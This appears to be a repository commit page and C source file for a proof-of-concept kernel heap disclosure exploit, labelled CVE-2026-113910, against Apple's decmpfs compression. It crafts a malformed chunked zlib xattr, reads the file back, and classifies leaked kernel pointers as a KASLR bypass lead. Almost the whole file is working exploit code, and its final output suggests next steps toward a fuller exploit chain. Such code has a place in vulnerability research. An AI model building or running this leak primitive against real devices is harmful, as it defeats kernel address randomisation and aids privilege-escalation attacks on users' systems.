JBJF
c30aadf9bb
- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six kernel-reachable bugs supplies both address and value control; the chain requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry - CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical pointer classification (kernel-text / kernel-data / kernel-other), --keep raw dump, --verbose; candidates are printed, never dereferenced - 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset write without leak, honest negative); no blind writes - README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
287 lines
11 KiB
C
287 lines
11 KiB
C
// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910
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// Kernel heap disclosure through short-producing chunks
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// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
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// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
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// reads the file back and classifies every canonical kernel pointer in the result.
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//
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// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
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// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
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// readback for offline analysis. Candidates are printed, never dereferenced.
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//
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// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
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// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <sys/xattr.h>
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// ── byte buffer ──
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typedef struct { uint8_t *d; size_t n, cap; } buf;
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static void bneed(buf *b, size_t extra) {
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if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
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}
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static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
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static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
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static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
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static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
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static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
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static void le32(buf *b, uint32_t v) {
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bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
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}
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static void le64(buf *b, uint64_t v) {
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for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
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}
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static void be32(buf *b, uint32_t v) {
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bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
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}
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// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ──
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// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks
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// whose zlib streams produce only `produce` bytes each
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static uint32_t adler32(const uint8_t *p, size_t n) {
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uint32_t a = 1, b = 0;
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for (size_t i = 0; i < n; i++) {
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a = (a + p[i]) % 65521;
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b = (b + a) % 65521;
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}
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return (b << 16) | a;
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}
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static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) {
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buf out = {0};
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le32(&out, 0x636D7066); // 'cmpf'
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le32(&out, 4); // typeZlibChunked
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le64(&out, (uint64_t)uncompressed);
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// per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41
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buf payload = {0};
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brep(&payload, 0x41, produce);
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buf z = {0};
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bput(&z, 0x78); bput(&z, 0x01); // zlib header
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size_t off = 0;
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if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5);
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while (off < payload.n) {
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size_t take = payload.n - off < 65535 ? payload.n - off : 65535;
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bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag
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le16(&z, (uint16_t)take);
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le16(&z, (uint16_t)~take);
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bcat(&z, payload.d + off, take);
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off += take;
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}
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be32(&z, adler32(payload.d, payload.n));
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uint32_t offsets[9];
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uint32_t running = 0;
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for (int i = 0; i < chunk_count; i++) {
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offsets[i] = running;
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running += (uint32_t)(1 + z.n); // flag byte + zlib stream
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}
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offsets[chunk_count] = running;
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for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]);
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for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); }
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bfree(&payload);
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bfree(&z);
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return out;
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}
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// ── leak classification ──
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// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
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// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
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// Anything that looks like a tagged userspace pointer is reported separately; it is
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// not a KASLR lead. Values are only ever printed.
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enum ptr_class {
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PTR_NONE = 0,
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PTR_KERNEL_TEXT,
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PTR_KERNEL_DATA,
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PTR_KERNEL_OTHER,
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PTR_USER,
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};
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static const char *class_name(int c) {
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switch (c) {
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case PTR_KERNEL_TEXT: return "kernel-text";
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case PTR_KERNEL_DATA: return "kernel-data";
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case PTR_KERNEL_OTHER: return "kernel-other";
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case PTR_USER: return "user";
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default: return "-";
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}
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}
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static int classify(uint64_t v) {
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if (v == 0) return PTR_NONE;
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if ((v >> 48) == 0xffff) {
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if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
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if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
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return PTR_KERNEL_OTHER;
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}
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if ((v >> 48) == 0x0000) return PTR_USER;
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return PTR_NONE;
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}
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typedef struct {
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int wrote_xattr;
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long read_back;
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long hits;
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long by_class[5];
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char samples[8][40];
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int nsamples;
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char note[128];
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} decmpfs_result;
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static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
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if (r->nsamples >= 8) return;
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snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
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(unsigned long long)v, off, class_name(cls));
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r->nsamples++;
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}
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static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
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FILE *keep, int verbose) {
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decmpfs_result r = {0};
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unlink(path);
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int fd = open(path, O_WRONLY | O_CREAT, 0644);
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if (fd >= 0) {
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uint8_t fill[4096];
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memset(fill, 0x41, sizeof fill);
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size_t left = uncompressed < 64 ? 64 : uncompressed;
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while (left > 0) {
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size_t take = left < sizeof fill ? left : sizeof fill;
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if (write(fd, fill, take) != (ssize_t)take) break;
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left -= take;
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}
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close(fd);
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}
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buf payload = decmpfs_chunked(uncompressed, chunks, produce);
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if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) {
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snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno);
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bfree(&payload);
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return r;
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}
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r.wrote_xattr = 1;
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FILE *f = fopen(path, "rb");
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if (!f) {
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snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
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bfree(&payload);
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return r;
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}
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buf back = {0};
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uint8_t chunk[65536];
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size_t got;
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while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got);
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fclose(f);
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r.read_back = (long)back.n;
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if (keep) {
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fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
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chunks, produce, uncompressed, back.n);
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if (back.n) fwrite(back.d, 1, back.n, keep);
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fputc('\n', keep);
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}
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// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
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for (size_t i = 0; i + 8 <= back.n; i += 8) {
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uint64_t v = 0;
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for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
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int cls = classify(v);
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if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
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r.hits++;
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r.by_class[cls]++;
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note_sample(&r, v, i, cls);
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if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
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}
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}
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snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
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bfree(&back);
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bfree(&payload);
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return r;
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}
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int main(int argc, char **argv) {
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int loop = 1;
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int verbose = 0;
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const char *keep_path = NULL;
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for (int i = 1; i < argc; i++) {
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if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
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else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
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else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
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else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
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}
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if (loop < 1) loop = 1;
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const char *path = "decmpfs_probe.bin";
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struct { int chunks; size_t produce; } configs[] = {
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{1, 0}, {1, 1}, {2, 1}, {4, 1},
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{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
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};
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const int ncfg = (int)(sizeof configs / sizeof configs[0]);
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FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
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if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
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if (keep) {
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fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
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}
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long total_hits = 0;
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long by_class[5] = {0};
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long runs = 0;
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printf("— baseline: what a plain file reads back —\n");
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{
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unlink(path);
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int fd = open(path, O_WRONLY | O_CREAT, 0644);
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if (fd >= 0) {
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uint8_t a64[64];
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memset(a64, 0x41, sizeof a64);
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for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break;
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close(fd);
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}
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FILE *f = fopen(path, "rb");
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if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
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}
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printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
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for (int l = 0; l < loop; l++) {
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for (int i = 0; i < ncfg; i++) {
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size_t uncompressed = (size_t)configs[i].chunks * 65536;
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decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
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keep, verbose);
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runs++;
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total_hits += r.hits;
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for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
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if (r.hits > 0 || verbose) {
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printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
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l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
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for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
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}
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}
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}
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// Class totals are what matter here; the raw bytes are in --keep for offline work.
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unlink(path);
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if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
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printf("\n== leak summary ==\n");
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printf("runs=%ld hits=%ld\n", runs, total_hits);
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printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
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printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
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printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
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if (total_hits > 0) {
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printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
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printf("Next step is not a write: map which object owns the leaked slot, then check\n");
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printf("whether the same chunk table can be pointed at that slot again.\n");
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} else {
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printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
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}
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printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
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return total_hits > 0 ? 0 : 0;
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}
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